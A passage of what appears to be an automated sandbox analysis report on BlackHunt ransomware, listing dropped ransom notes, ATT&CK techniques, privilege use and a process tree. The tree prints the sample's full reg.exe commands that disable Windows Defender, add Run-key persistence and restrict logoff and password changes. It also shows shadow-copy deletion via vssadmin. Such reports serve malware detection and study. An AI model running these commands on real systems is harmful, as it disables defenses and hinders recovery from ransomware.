File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_specialocc_Thumbnail.bmp	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-progress-ui.xml	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\time-span-16.png	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\DumontDUrville	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\MANIFEST.MF	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yakutsk	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedbck2.gif	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sampler.xml	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-templates.xml_hidden	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_sv.properties	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Madrid	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management-agent.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp_5.5.0.165303.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Jujuy	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_ja.jar	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chicago	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialmainsubpicture.png	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
File opened for modification	C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME.txt	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2560	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4172	vssadmin.exe
2476	vssadmin.exe
628	vssadmin.exe
2792	vssadmin.exe
3024	vssadmin.exe
2744	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3268	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2012	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4212	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeRestorePrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeBackupPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeTakeOwnershipPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeAuditPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeSecurityPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeIncBasePriorityPrivilege	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Token: SeBackupPrivilege	4028	vssvc.exe
Token: SeRestorePrivilege	4028	vssvc.exe
Token: SeAuditPrivilege	4028	vssvc.exe
Token: SeBackupPrivilege	3616	wbengine.exe
Token: SeRestorePrivilege	3616	wbengine.exe
Token: SeSecurityPrivilege	3616	wbengine.exe
Token: SeSecurityPrivilege	2592	wevtutil.exe
Token: SeBackupPrivilege	2592	wevtutil.exe
Token: SeSecurityPrivilege	2232	wevtutil.exe
Token: SeBackupPrivilege	2232	wevtutil.exe
Token: SeSecurityPrivilege	4332	wevtutil.exe
Token: SeSecurityPrivilege	4324	wevtutil.exe
Token: SeSecurityPrivilege	4372	wevtutil.exe
Token: SeBackupPrivilege	4332	wevtutil.exe
Token: SeBackupPrivilege	4324	wevtutil.exe
Token: SeBackupPrivilege	4372	wevtutil.exe
Token: SeDebugPrivilege	3268	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2516	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	31
PID 3040 wrote to memory of 2516	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	31
PID 3040 wrote to memory of 2516	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	31
PID 3040 wrote to memory of 2516	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	31
PID 3040 wrote to memory of 2908	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	29
PID 3040 wrote to memory of 2908	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	29
PID 3040 wrote to memory of 2908	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	29
PID 3040 wrote to memory of 2908	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	29
PID 3040 wrote to memory of 2920	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	33
PID 3040 wrote to memory of 2920	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	33
PID 3040 wrote to memory of 2920	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	33
PID 3040 wrote to memory of 2920	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	33
PID 3040 wrote to memory of 2252	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	38
PID 3040 wrote to memory of 2252	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	38
PID 3040 wrote to memory of 2252	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	38
PID 3040 wrote to memory of 2252	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	38
PID 2516 wrote to memory of 2360	2516	cmd.exe	36
PID 2516 wrote to memory of 2360	2516	cmd.exe	36
PID 2516 wrote to memory of 2360	2516	cmd.exe	36
PID 3040 wrote to memory of 2572	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	35
PID 3040 wrote to memory of 2572	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	35
PID 3040 wrote to memory of 2572	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	35
PID 3040 wrote to memory of 2572	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	35
PID 3040 wrote to memory of 2624	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	40
PID 3040 wrote to memory of 2624	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	40
PID 3040 wrote to memory of 2624	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	40
PID 3040 wrote to memory of 2624	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	40
PID 2920 wrote to memory of 2652	2920	cmd.exe	42
PID 2920 wrote to memory of 2652	2920	cmd.exe	42
PID 2920 wrote to memory of 2652	2920	cmd.exe	42
PID 3040 wrote to memory of 2792	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	142
PID 3040 wrote to memory of 2792	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	142
PID 3040 wrote to memory of 2792	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	142
PID 3040 wrote to memory of 2792	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	142
PID 2908 wrote to memory of 2680	2908	cmd.exe	130
PID 2908 wrote to memory of 2680	2908	cmd.exe	130
PID 2908 wrote to memory of 2680	2908	cmd.exe	130
PID 3040 wrote to memory of 2780	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 3040 wrote to memory of 2780	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 3040 wrote to memory of 2780	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 3040 wrote to memory of 2780	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	135
PID 3040 wrote to memory of 2564	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	48
PID 3040 wrote to memory of 2564	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	48
PID 3040 wrote to memory of 2564	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	48
PID 3040 wrote to memory of 2564	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	48
PID 3040 wrote to memory of 2928	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 3040 wrote to memory of 2928	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 3040 wrote to memory of 2928	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 3040 wrote to memory of 2928	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	132
PID 3040 wrote to memory of 2520	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	57
PID 3040 wrote to memory of 2520	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	57
PID 3040 wrote to memory of 2520	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	57
PID 3040 wrote to memory of 2520	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	57
PID 3040 wrote to memory of 2460	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	55
PID 3040 wrote to memory of 2460	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	55
PID 3040 wrote to memory of 2460	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	55
PID 3040 wrote to memory of 2460	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	55
PID 2572 wrote to memory of 2568	2572	cmd.exe	53
PID 2572 wrote to memory of 2568	2572	cmd.exe	53
PID 2572 wrote to memory of 2568	2572	cmd.exe	53
PID 3040 wrote to memory of 1816	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	52
PID 3040 wrote to memory of 1816	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	52
PID 3040 wrote to memory of 1816	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	52
PID 3040 wrote to memory of 1816	3040	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe	52

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe
"C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
